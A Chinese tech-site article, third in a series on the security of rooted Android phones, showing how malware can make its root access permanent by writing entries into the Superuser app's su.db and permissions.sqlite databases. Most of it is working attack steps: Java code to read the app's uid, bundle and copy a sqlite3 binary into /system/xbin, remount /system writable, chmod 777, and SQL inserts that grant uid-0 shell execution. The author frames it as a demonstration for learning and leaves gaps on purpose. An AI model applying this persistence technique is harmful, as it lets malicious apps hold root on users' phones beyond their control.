当前位置:操作系统 > 安卓/Android >>

android手机root后的安全问题 (三)


首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。

然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:


然后来看看病毒应该如何修改数据

病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid

[java] 
public static int getUid(Context context,String packageName){ 
    ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); 
    List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses(); 
    int size = runningAppProcesses.size(); 
    ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null; 
    for (int i = 0; i < size; i++) { 
        runningAppProcessInfo = runningAppProcesses.get(i); 
        if(packageName.equals(runningAppProcessInfo.processName)){ 
            return runningAppProcessInfo.uid; 
        } 
    } 
    return -1; 

好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。

最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。

好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一

[java] 
prepareButton.setOnClickListener(new View.OnClickListener() { 
    public void onClick(View v) { 
        File dataFolder = getFilesDir(); 
    File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3"); 
    copyFile("db/sqlite3", sqlite, mResources); 
    } 
}); 

2申请root权限,一旦成功,那就修改数据库

[java] 
String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" + 
                            "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) "; 
String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " + 
                                                    "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") "; 
 
String[] commands = {"busybox mount -o remount,rw /system" 
                            ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3" 
                    ,"busybox rm /data/data/" + packageName + "/files/sqlite3" 
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'" 
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "}; 
执行即可

从此,病毒就脱离你的掌控了,一发不可收拾


结语
由于本博客只是用于演示,所以有些不严密的地方。
比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败
我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流

补充:移动开发 , Android ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,